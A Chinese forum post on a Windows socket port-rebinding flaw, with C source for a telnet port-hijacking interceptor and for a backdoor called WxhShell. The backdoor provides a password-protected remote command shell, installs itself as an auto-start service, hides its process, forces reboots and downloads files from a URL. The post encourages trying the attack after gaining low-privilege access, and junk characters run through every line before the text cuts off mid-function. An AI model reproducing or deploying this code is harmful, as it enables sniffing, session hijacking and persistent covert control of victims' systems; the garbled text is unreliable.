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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m&\h4$[kql  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HA`@7I  
`V"sOTb  
  saddr.sin_family = AF_INET; SWQ5fcPu  
2?,EzBeal  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "D'B3; uWK  
,(?po (']  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #hf ak  
\2}bi:e 6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 te !S09(  
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  这意味着什么?意味着可以进行如下的攻击: @t`Xq1  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8J~1-;  
!Mim@!5M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &f^l ^K 5:  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1Q4}'0U4  
$Y_i4(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1jPJw3"3h  
{]_r W/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ./D$dbu3  
w@ c87;c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UkHY[M7;  
rEv*)W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t|<NI+H(e  
~J8pnTY  
  #include i|}[A  
  #include !]fQ+*X0g  
  #include q7Dw _<  
  #include    *gF<m9&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d/|D<Sb[s  
  int main() Q~Hh\Lt  
  { }gMDXy}  
  WORD wVersionRequested; 4e;y G>  
  DWORD ret; GbA.UM ~  
  WSADATA wsaData; Ru>uL@w  
  BOOL val; ]M[#.EX  
  SOCKADDR_IN saddr; HXYRH  
  SOCKADDR_IN scaddr; A"l?:?rtw]  
  int err; r"a5(Q;n  
  SOCKET s; vZ N!Zl7S  
  SOCKET sc; +1!qs,  
  int caddsize; kbfC|5S  
  HANDLE mt; *^wB!{.#  
  DWORD tid;   5qkH|*Z3  
  wVersionRequested = MAKEWORD( 2, 2 ); jfx8EbQ  
  err = WSAStartup( wVersionRequested, &wsaData ); g'u?Rn 7*J  
  if ( err != 0 ) { <[J[idY1he  
  printf("error!WSAStartup failed!\n"); -,aeM~  
  return -1; RQp|T5Er*  
  } !>`N$-U X  
  saddr.sin_family = AF_INET; >'xGp7}y  
   p=B>~CH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u#A<hq;  
hj$ e|arB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8kOKwEX  
  saddr.sin_port = htons(23); N0w`!<y:c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c$`4*6  
  { 7,MS '2nz  
  printf("error!socket failed!\n"); 0lsXCr_X  
  return -1; V0(o~w/W%!  
  } z%7SrUj2  
  val = TRUE; L9ap(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zT|)uP*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B_l{<  
  { m6yIR6H  
  printf("error!setsockopt failed!\n"); 8W+gl=C~  
  return -1; JwRF(1_sM  
  } `)h6j)xiQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J~iBB~x.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p!V>XY'N^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z,;cCxE  
ror|R@;y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P;8>5;U4-  
  { Enq|Y$qm  
  ret=GetLastError(); /?6|&  
  printf("error!bind failed!\n"); J5[~LZKW  
  return -1; r-IVb&uF b  
  } :!f(F9  
  listen(s,2); q$.{j"cZV  
  while(1) J.+BD\pa  
  { 8; R|  
  caddsize = sizeof(scaddr); z6~ H:k1G%  
  //接受连接请求 XJ+6FT/qss  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %77p5ctW  
  if(sc!=INVALID_SOCKET) $ RwB_F  
  { oi&Wo'DX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &Q=ZwC7#  
  if(mt==NULL) (zYy }g#n  
  { ]:$ O{y  
  printf("Thread Creat Failed!\n"); vN OH&ja-s  
  break; b*mKei  
  } 4Kv[e]10(  
  } F;!2(sPS  
  CloseHandle(mt); Q U F$@)A  
  } W*:,m8wk  
  closesocket(s); LFp]7Dq  
  WSACleanup(); desThnT w  
  return 0; ,kp\(X[J  
  }   sNHSr  
  DWORD WINAPI ClientThread(LPVOID lpParam) W"xP(7X  
  { NO K/<_/  
  SOCKET ss = (SOCKET)lpParam; HFQR ;9]  
  SOCKET sc; rJ'I>Q~x6  
  unsigned char buf[4096]; o:dR5v  
  SOCKADDR_IN saddr; i=32KI(%  
  long num; V' 2EPYB  
  DWORD val; +1Ph<zq"  
  DWORD ret; Lx U={Y0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5[9 bWB{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X#U MIlU  
  saddr.sin_family = AF_INET; v)kEyX'K2d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aSYs_?&.  
  saddr.sin_port = htons(23); zMK](o1Vj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &MgeYpd  
  { LDy<k=;o  
  printf("error!socket failed!\n"); +|%Sx  
  return -1; 3%<C<(  
  } MuEy>dl  
  val = 100; L1)@z8]   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ) I@L+  
  { $H'X V"<o  
  ret = GetLastError(); %YlTF\-  
  return -1; $\Tkhq<  
  } VnJMmMM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "x&C5l}n  
  { z&3]%t `C  
  ret = GetLastError(); >1irSUj"~  
  return -1; A~{f/%8D  
  } bT!($?GNdg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) snp v z1iS  
  { d2ENm%q*PX  
  printf("error!socket connect failed!\n"); [{<dbW\ 9  
  closesocket(sc); "n\%_'R\hH  
  closesocket(ss); E)t  
  return -1; 8C.!V =@\  
  } 6j8 <Q 2  
  while(1) jUjr6b"  
  { !m{2WW-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9-bG<`v\E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H.O(*Q=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 , Ut Hc]  
  num = recv(ss,buf,4096,0); [ij,RE7,T  
  if(num>0) g>7Y~_}  
  send(sc,buf,num,0); 22KI]$D#f  
  else if(num==0) jV7&Y.$zF]  
  break; >n7["7HHk  
  num = recv(sc,buf,4096,0); Yi rC*  
  if(num>0) eE/%6g  
  send(ss,buf,num,0); {rkn q_;0  
  else if(num==0) WA.\*Nqze  
  break; kJ: 2;t=  
  } ZAg;q#z j  
  closesocket(ss); ._p""'Sa  
  closesocket(sc); \w )?SVp  
  return 0 ; O'}l lo  
  }  ?9u4a_x  
dTD5(}+J  
qq+MBW*  
========================================================== $-@$i`Kf/  
0v"&G<J  
下边附上一个代码,,WXhSHELL Wc#:f 8dr  
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========================================================== 1 2]fQkp  
nY) .|\|i  
#include "stdafx.h" {.#zHL ;  
ZZ A.a  
#include <stdio.h> i@<~"~>]7  
#include <string.h> ]u&dJL  
#include <windows.h> ,bSVVT-b  
#include <winsock2.h> O5 7jz= r  
#include <winsvc.h> J/4y|8T/y  
#include <urlmon.h> Wm6dQQ;Bj  
)hL^+Nn bR  
#pragma comment (lib, "Ws2_32.lib") !J.rM5K  
#pragma comment (lib, "urlmon.lib") d0C8*ifFO  
Y%v P#>h  
#define MAX_USER   100 // 最大客户端连接数 ix Ow=!@  
#define BUF_SOCK   200 // sock buffer WhUa^  
#define KEY_BUFF   255 // 输入 buffer  "jU  
bBE^^9G=Z  
#define REBOOT     0   // 重启 = ?N^>zie  
#define SHUTDOWN   1   // 关机 D$_8rHc\A  
&R\XUxI  
#define DEF_PORT   5000 // 监听端口 ehc<|O9tY  
dV$!JTsd  
#define REG_LEN     16   // 注册表键长度 x9`ZO< L$  
#define SVC_LEN     80   // NT服务名长度 2uo8jF.h  
|qL;Nu,d  
// 从dll定义API FH n,]Tfx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l:tpL(%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ofEqvoi@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {qAu/ixp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '=%i,  
`QCD$=  
// wxhshell配置信息 p6blD-v  
struct WSCFG { !=M/j}  
  int ws_port;         // 监听端口 "<dN9l>  
  char ws_passstr[REG_LEN]; // 口令 A. Nz_!  
  int ws_autoins;       // 安装标记, 1=yes 0=no q=[U }{  
  char ws_regname[REG_LEN]; // 注册表键名 tq E>Zx=X  
  char ws_svcname[REG_LEN]; // 服务名 Q}uG/HI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 > I%zd/q?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UIw?;:Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iy 3DX|]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vXPuyR<J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T^.{9F]*S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $wXih#7  
fle0c^=  
}; \2eFpy(  
/2:Q6J  
// default Wxhshell configuration vadM1c*z  
struct WSCFG wscfg={DEF_PORT, 0O ['w<_  
    "xuhuanlingzhe", j[T%'%  
    1, er\:U0fr#@  
    "Wxhshell", =w,(M  
    "Wxhshell", :A$wX$H01  
            "WxhShell Service", s@M  
    "Wrsky Windows CmdShell Service", }I<N^j=/pO  
    "Please Input Your Password: ", H5^Y->  
  1, & 3I7]Wm  
  "http://www.wrsky.com/wxhshell.exe", sRil>6QR  
  "Wxhshell.exe" s{%fi*  
    }; 6(5c7R#  
zuj;T,R;  
// 消息定义模块 I! ITM<Z$l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &.*T\3UO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }-@I#9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /kb$p8!C".  
char *msg_ws_ext="\n\rExit."; \1khyF'  
char *msg_ws_end="\n\rQuit."; ]*h&hsS 0  
char *msg_ws_boot="\n\rReboot..."; h=wf>^l  
char *msg_ws_poff="\n\rShutdown..."; `QAh5r"  
char *msg_ws_down="\n\rSave to "; 7#/|VQX<A  
Oylp:_<aT  
char *msg_ws_err="\n\rErr!"; R^?PAHE 7  
char *msg_ws_ok="\n\rOK!"; r?XDvU  
C_89YFn+  
char ExeFile[MAX_PATH]; 8ok7|DJ  
int nUser = 0; z5I^0'  
HANDLE handles[MAX_USER]; K \m4*dOv  
int OsIsNt; 6NKF'zh  
'XME?H:q a  
SERVICE_STATUS       serviceStatus; z7$}#)Z7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g BH?l/  
<e^6.!;W  
// 函数声明 o[H\{a>  
int Install(void); |<2JQ[]  
int Uninstall(void); iqlVlm>E  
int DownloadFile(char *sURL, SOCKET wsh); IM|Se4;x  
int Boot(int flag); nvwDx*[qN  
void HideProc(void); K;kLQ2)  
int GetOsVer(void); {)jk_&c7  
int Wxhshell(SOCKET wsl); _/8y1) I  
void TalkWithClient(void *cs); %`N&ti  
int CmdShell(SOCKET sock); %L.rcbg:<c  
int StartFromService(void); \c'%4Ao  
int StartWxhshell(LPSTR lpCmdLine); 0I6499FQ  
_fe0,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CYMM*4#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I[a%a!QO  
%G^(T%q| m  
// 数据结构和表定义 4I+.^7d  
SERVICE_TABLE_ENTRY DispatchTable[] = sF, uIr/  
{ olslzXn7o  
{wscfg.ws_svcname, NTServiceMain}, +&zb^C`J  
{NULL, NULL} !c v6 #:  
}; X$ejy/+.  
s:G [Em1  
// 自我安装 gx&\Kw6HM  
int Install(void) CJtr0M<U+  
{ \_)02ZT:  
  char svExeFile[MAX_PATH]; nN!vgn j  
  HKEY key; la1D2 lM  
  strcpy(svExeFile,ExeFile); MH2OqiCI  
sd]0Hx[  
// 如果是win9x系统,修改注册表设为自启动 {m>~`   
if(!OsIsNt) { sL;z"N@PK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v^57j:sD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `=PB2'  
  RegCloseKey(key); KX$qM g1j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j `w;z: G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vC s6#PR$  
  RegCloseKey(key); 0fZ:")&4,  
  return 0; QJniM"8v  
    } [k}dES#  
  } ,OFq'}q  
} w@4t$bd7  
else { s n=zh1 A  
W'm!f  
// 如果是NT以上系统,安装为系统服务 !e9N3Ga  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kn3YI9  
if (schSCManager!=0) $a)J CErN  
{ V%VrAi.  
  SC_HANDLE schService = CreateService p,!fIx  
  ( c g3Cl[s  
  schSCManager, vEX|Q\b6'  
  wscfg.ws_svcname, uVoF<={  
  wscfg.ws_svcdisp, &! 5CwEIF  
  SERVICE_ALL_ACCESS, ~t1O]aO(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {IF}d*:  
  SERVICE_AUTO_START, V7Vbl?*n  
  SERVICE_ERROR_NORMAL, d)pz  
  svExeFile, &zaW"uy3T  
  NULL, I 0x`H)DA  
  NULL, \a9D[wk;@  
  NULL, OcyiL)tv5  
  NULL, ..v@Q%  
  NULL Xq} n^W  
  ); Qq @_Z=mt  
  if (schService!=0) 5(mCBH  
  { .`i'gPLkn2  
  CloseServiceHandle(schService); 7<Z~\3x  
  CloseServiceHandle(schSCManager); m? ]zomP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ncs4<"{$  
  strcat(svExeFile,wscfg.ws_svcname); ?HEo9/ *7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QYODmeu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W o<PmSt9i  
  RegCloseKey(key); ({ :yw  
  return 0; .YnP% X=  
    } GF$rPY[  
  } 8YT_DM5iI  
  CloseServiceHandle(schSCManager); Rh05W_?Js  
} 2^k^"<h5j  
} Dohl,d  
uyS^W'fF  
return 1; {7j6$.7J$&  
} 3N)Ycf8  
:G6 xJlE|  
// 自我卸载 o`JlXuG?o  
int Uninstall(void) vfk7J5y  
{ c,{&  
  HKEY key; sM);gI14  
3> n2  
if(!OsIsNt) { pGZl.OI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |e.3FjTH  
  RegDeleteValue(key,wscfg.ws_regname); T7WZ(y 3C  
  RegCloseKey(key); GA%"w=M\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Azdz3/  
  RegDeleteValue(key,wscfg.ws_regname); P|!/mu]  
  RegCloseKey(key); 6_ 33*/>=c  
  return 0; BIHHRCe:@n  
  } \]~kyy  
} r P<d[u  
} 3thG*^C5  
else { P^uP$D  
c)n0D=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6@,'m  
if (schSCManager!=0) Q T0IW(A  
{ r7wx?{~ 28  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d=c1WK  
  if (schService!=0) P_^ |KEz  
  { /S2p``E+  
  if(DeleteService(schService)!=0) { ~Q{[fy=  
  CloseServiceHandle(schService); k=d%.kg  
  CloseServiceHandle(schSCManager); 6@ (k8<3  
  return 0; 8)ebXc  
  } l{D,O?`Av  
  CloseServiceHandle(schService); 0qotC6l~_w  
  } _ z"ci$[  
  CloseServiceHandle(schSCManager);  5K_N  
} w;h\Y+Myyk  
} p8}5x 2F  
f;_K}23  
return 1; 1,*Z_ F=y  
} 1Q2k>q8  
??esB&4?  
// 从指定url下载文件 y[ rB"  
int DownloadFile(char *sURL, SOCKET wsh) WMdz+^\(  
{ <or>bo^  
  HRESULT hr; JE8p5WaR  
char seps[]= "/"; n79DS(t  
char *token; C6;](rN)N  
char *file; LYxlo<f  
char myURL[MAX_PATH]; $'I$n  
char myFILE[MAX_PATH]; 41f m}  
STF}~`b:3  
strcpy(myURL,sURL); V+"*A  
  token=strtok(myURL,seps); 41+E UMc  
  while(token!=NULL) l52n/w#qFB  
  { fv 1!^CDia  
    file=token; +oKpA\mz  
  token=strtok(NULL,seps); VEdnP+D  
  } 59%f|.Z)  
s+\qie  
GetCurrentDirectory(MAX_PATH,myFILE); XQg%*Rw+t  
strcat(myFILE, "\\"); cO"Xg<#y  
strcat(myFILE, file); >-./kI "  
  send(wsh,myFILE,strlen(myFILE),0); +ke42Jwt  
send(wsh,"...",3,0); =ty@xHr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M$5%QM}  
  if(hr==S_OK) 0z<]\a4  
return 0; 5M.n'*   
else RWm Q]  
return 1; @gVyLefS6g  
7`'fUhB!  
} ]mLTF',5  
ePcI^}{  
// 系统电源模块 }FdcbNsP  
int Boot(int flag) Xta>  
{ eMP Q| W  
  HANDLE hToken; FoelOq6  
  TOKEN_PRIVILEGES tkp; ~ dI&> CL  
A1s=;qr  
  if(OsIsNt) { ; hRpAN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); owS@dbO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C,e$g  
    tkp.PrivilegeCount = 1; }rAN2D]"}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,+5VeRyrV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #+DmH  
if(flag==REBOOT) { (A<sFw?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0tm "kzy  
  return 0; 2KNKdV3NK  
} HZQ3Ht3Vh  
else { "GC]E8&>H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PAWr1]DI  
  return 0; )GT?Wd  
} *t-A6)2  
  } -~GJ; Uw  
  else { %K f . F  
if(flag==REBOOT) { .)pRB7O3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lIc9, |FL  
  return 0; %Fm;LQa ]  
} ~b<4>"7y.  
else { X]^E:'E!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >b"z`{tE  
  return 0; {O,M}0Eg  
}  F3r  
} Ru\Lr=9  
JX,#W!d  
return 1; 1AkHig,  
} YM/3VD  
 rOf  
// win9x进程隐藏模块 $Aoqtz d\  
void HideProc(void) F p=Q$J|  
{ YKxA2`3v%  
tVh4v#@+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dcTM02kEh  
  if ( hKernel != NULL ) Am`A[rV0  
  { >]08".ajS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r^tXr[}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); = (h;L$  
    FreeLibrary(hKernel); VKJ~ZIO@A  
  } ^9f`3~!#bc  
6XCX#4'i%  
return; 7D_kkhN  
} &"6ktKrIg  
)KhVUFS1  
// 获取操作系统版本 K1{nxw!`  
int GetOsVer(void) ' oeg [  
{ {gHscj;SM  
  OSVERSIONINFO winfo; eeTaF!W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SIVLYi  
  GetVersionEx(&winfo); X ^ ]$/rI)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <hC3#dNRd  
  return 1; 8PVs!?Nne  
  else W>s9Mp  
  return 0; U;dt-3?=.h  
} 2o}G<7r  
NcMq>n  
// 客户端句柄模块 , p=8tf#  
int Wxhshell(SOCKET wsl) 6e-h;ylS  
{ '# 2J?f'  
  SOCKET wsh; 4 J2F>m40  
  struct sockaddr_in client; GoA>sK  
  DWORD myID; Wk#-LkI  
gJ~*rWBK:  
  while(nUser<MAX_USER) ;mKU>F<V  
{ Im1qWe  
  int nSize=sizeof(client); . pEeR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g;Q^_4@  
  if(wsh==INVALID_SOCKET) return 1; ]p.f*]  
NGZ>:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "/h"Xg>q  
if(handles[nUser]==0) 1gK3= Ys  
  closesocket(wsh); !fjU?_[S  
else MQMy Z:  
  nUser++; >gLy z2  
  } i4C b&h^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QjbPBk Q  
vX24W*7  
  return 0; 84\o7@$#  
} `mTxtuid{  
`l#$l3v+  
// 关闭 socket !0+Ex F  
void CloseIt(SOCKET wsh) ,/U 9v~  
{ ri V/wN9C  
closesocket(wsh); HCy}'}d  
nUser--; )cBV; E<  
ExitThread(0); /s_$CSiB  
} Ybg`Z  
= +\oL!^  
// 客户端请求句柄 KTJ $#1q  
void TalkWithClient(void *cs) Q*{ 2  
{ ,IB)Kk2  
1OeDWEcB  
  SOCKET wsh=(SOCKET)cs; )O(Gw-jWE  
  char pwd[SVC_LEN]; 3<E$m *  
  char cmd[KEY_BUFF]; v@SrEmg  
char chr[1]; [cs8/Q8+  
int i,j; OB@t(KNx*P  
g o Z#  
  while (nUser < MAX_USER) { `W S  
~H~4 fp b  
if(wscfg.ws_passstr) { H;L&G|[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }=4".V`-o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \{mJO>x  
  //ZeroMemory(pwd,KEY_BUFF); &<b7T$c  
      i=0; =D$r5D/xd  
  while(i<SVC_LEN) { ->{WO+6(  
/T'nY{  
  // 设置超时 bG?[":k  
  fd_set FdRead; "7/YhLq7  
  struct timeval TimeOut; U2u>A r  
  FD_ZERO(&FdRead); oABPGyv  
  FD_SET(wsh,&FdRead); o`Brr:  
  TimeOut.tv_sec=8; !+l, m8Hly  
  TimeOut.tv_usec=0; hY9u#3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  e n":  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lj,%pzJ  
@SB+u+mOS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r\`m[Q  
  pwd=chr[0]; s``L?9  
  if(chr[0]==0xd || chr[0]==0xa) { Ip-jqN J~  
  pwd=0; }H.vH  
  break; cv1L!Ce,  
  } go5!zSs  
  i++; J z b".A  
    } >f/g:[  
t$|6} BX  
  // 如果是非法用户,关闭 socket ?J-KB3Uv3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \Y p oJ!-  
} ~5529  
Ey%NqOs0#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @]4s&;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ca|;8ggf  
"TI? qoz  
while(1) { tBQ> p.  
G8'3.;"W5  
  ZeroMemory(cmd,KEY_BUFF); WKML#U]5T  
-]%@,L^@  
      // 自动支持客户端 telnet标准   w:v:znQrW  
  j=0; .ji%%f  
  while(j<KEY_BUFF) { j=4>In?x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Fiiw  
  cmd[j]=chr[0]; M?lr#} d  
  if(chr[0]==0xa || chr[0]==0xd) { EG6fC4rfC  
  cmd[j]=0; IgJC>;]u  
  break; %4J?xhd  
  } UPF=X) !M  
  j++; @RW%EXKt  
    } !vw0Y,F&  
*ni|I@8  
  // 下载文件 k=}hY+/=  
  if(strstr(cmd,"http://")) { $_kU)<e3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]ghPbS@  
  if(DownloadFile(cmd,wsh)) ^lj>v}4fkW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ .-'pdz%  
  else 4LLCb7/5lP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pDQ,v"  
  } ^<-SW]x  
  else { Vo()J4L  
xH uyfQLk  
    switch(cmd[0]) { jL&F7itP  
  Sq>UMfl&  
  // 帮助 6yqp<D0SP)  
  case '?': { 'z/hj>B<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XlPy(>  
    break; .rHO7c,P~  
  } x`&W[AA4  
  // 安装 }$jIvb,3?  
  case 'i': { `^ok5w"oi  
    if(Install()) aL}_j#m{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v3Kqs:"\  
    else pm+[,u!i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4<|]k?@  
    break; 2z:9^a/]Na  
    } qS>el3G  
  // 卸载 A\>qoR!Y  
  case 'r': { &/p 9+gd  
    if(Uninstall()) PR0]:t)E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %VCHM GP=  
    else wvD|c%   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GU`2I/R  
    break; KV2X[1  
    } &CgD smJo#  
  // 显示 wxhshell 所在路径 NT0q!r/!  
  case 'p': { 3;A AC (X  
    char svExeFile[MAX_PATH]; -[z;y73]t  
    strcpy(svExeFile,"\n\r"); hE${eJQ| U  
      strcat(svExeFile,ExeFile); fqxMTTg@  
        send(wsh,svExeFile,strlen(svExeFile),0); ryP z q}#  
    break; p{Uro!J,K  
    } XQ>m8K?\d  
  // 重启 %"D-1&%zY  
  case 'b': { K9c:K/H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GmFNL/x8-v  
    if(Boot(REBOOT)) h1$,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pB`<4+"9  
    else { o'G")o  
    closesocket(wsh); udMq>s;  
    ExitThread(0); ~p&sd)  
    } uP.3(n[&  
    break; qmhHHFjQ  
    } Em;zi.Y+V  
  // 关机 .3#Tw'% G  
  case 'd': { iM-@?!WF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NR" Xn7G  
    if(Boot(SHUTDOWN)) hz!.|U@,{<  
